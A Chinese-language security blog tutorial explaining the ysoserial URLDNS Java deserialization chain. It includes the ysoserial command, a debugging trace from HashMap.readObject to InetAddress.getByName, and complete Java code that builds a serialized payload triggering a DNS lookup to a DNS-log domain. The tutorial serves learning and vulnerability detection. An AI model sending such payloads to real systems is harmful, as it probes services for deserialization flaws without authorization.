-

Java 反序列化第一条链 URLDNS

0x01 意义

URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不 是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。 虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时 使⽤: 使⽤Java内置的类构造,对第三⽅库没有依赖 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

既然提到了 ysoserial 那就简单了解一下吧,2015年Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上提出了利⽤Apache Commons Collections来构造命令执⾏的利⽤ 链,并在年底因为对Weblogic、JBoss、Jenkins等著名应⽤的利⽤⽽ysoserial就是两位原作者在此议题中释出的⼀个⼯具,它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反 序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令(转载自 p 神

有了 ysoserial ,我们就能很方便的产生构造链,下面我们就来探讨 URLDNS 链的实现原理。

0x02 调试

来看看 ysoserial 是怎么实现的吧,先去 yakit 产生一个可用域名,然后命令行生成 payload。

1
2
java -jar ysoserial.jar URLDNS "http://nwmenmnays.dgrh3.cn"
java -jar ysoserial.jar URLDNS "http://nwmenmnays.dgrh3.cn" > urldns.bin

注意这里生成 urldns.bin 文件得在 kali 下完成,windows 下的话后面反序列化调试会报错。

得到后编写测试代码

1
2
3
4
5
6
7
8
9
10
11
public class URLDNSTest {
public static void main(String[] args) throws IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("E:\\tools\\ysoserial\\URLDNS.ser"));
try {
Object o = ois.readObject();
System.out.println(o);
} catch (Exception e) {
e.printStackTrace();
}
}
}

执行代码可以发现 yakit 已经收到了 dns 查询,下面动态调试看一下执行流程。

我们可以看到 ysoserial 源码已经给出了利用链

1
2
3
4
5
*   Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()

我们在这几处关键代码处打下断点,不能一下全打,因为 hash() 这个函数调用的太频繁了,干扰太多。打一个执行一下,先把 HashMap.putVal 断点打上。

1
putVal(hash(key), key, value, false, false);

可以看到 key 值就是我们的 url 参数

image-20240717103400144

然后进入 hash 函数

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里不要直接进 **hashCode()**,会进到 Object 里的。直接 f7 步进,来到 URL 类的 hashcode 函数下

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

hashcode 值为 -1

image-20240717103909551

进入 handler.hashCode 函数,注意到 359 行

1
InetAddress addr = getHostAddress(u);

再次跟进 getHostAddress 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

这里 InetAddress.getByName(host) 的作用是根据主机名,获取其IP地址,在网络上其实就是⼀次 DNS查询。到这里就不必要再跟了,yakit 也收到 dns 查询了。

0x03 重写

现在我们自己来实现,先梳理一下反序列化流程

1
2
3
4
5
6
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

先把 HashMap 和 url 对象创建出来

1
2
3
HashMap ht = new HashMap();
String url = "http://wqyrtnekro.dgrh3.cn";
URL u = new URL(url);

看 yso 源码

1
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

我们也模仿着写,put 键值对

1
ht.put(u, url);

然后序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap ht = new HashMap();
String url = "http://wqyrtnekro.dgrh3.cn";
URL u = new URL(url);
ht.put(u, url);
serialize(ht);
}
}

序列化发现直接发出 dns 查询了,o.O? 动态看看什么情况。

原来是 ht.put 触发了 hash ,又走了一遍 putVal 到 getHostAddress 的流程

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

这样我们可以在 ht.put(u, url); 之前利用反射来使 URL 类的私有变量 hashcode 值不为 -1(默认初始值为 -1),这样就不会进入 handler.hashCode 了。

1
2
3
4
Class clazz = u.getClass();
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, 1);

再序列化就不会触发了,但是反序列话也不会触发,O.o? 反序列化动调看看,原来是我们之前设置 hashCode 变量为 1 然后直接走

1
2
if (hashCode != -1)
return hashCode;

所以这里 hashCode 仍然走的是这个逻辑,那我们想让他进入

1
hashCode = handler.hashCode(this);

就只能再利用反射在 ht.put(u, url) 之后重新设置 hashCode 为 -1

1
2
3
field.set(u, 1);
ht.put(u, url);
field.set(u, -1);

成功只在反序列化阶段触发 dns 查询

image-20240717111657245

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap ht = new HashMap();
String url = "http://wqyrtnekro.dgrh3.cn";
URL u = new URL(url);
Class clazz = u.getClass();
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, 1);
ht.put(u, url);
field.set(u, -1);
serialize(ht);
}
}

0x04 思考

复现完不禁会想,发现这条链的大佬是怎么想到这条链的?

利用 HashMap 类作为接口是因为其实现了Serializable接口,重写了readObject,重写的 readObject 调用 hash 函数计算 key 的hashCode,而java.net.URL的hashCode在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求。

可以看到从 HashMap 到 URL 关键在于 hashCode 方法,这个方法点击的话跳转的是 Object 类,也就是说很多类都会有 hashCode方法,为什么偏偏挑选 HashMap 呢?我觉得 HashMap 调用了 hashcode 方法倒是其次,最主要的是它接受的参数类型没有限制,所以我们才能传 key 为 URL ,进而来到 URL 的 hashCode 方法里来触发 DNS 查询。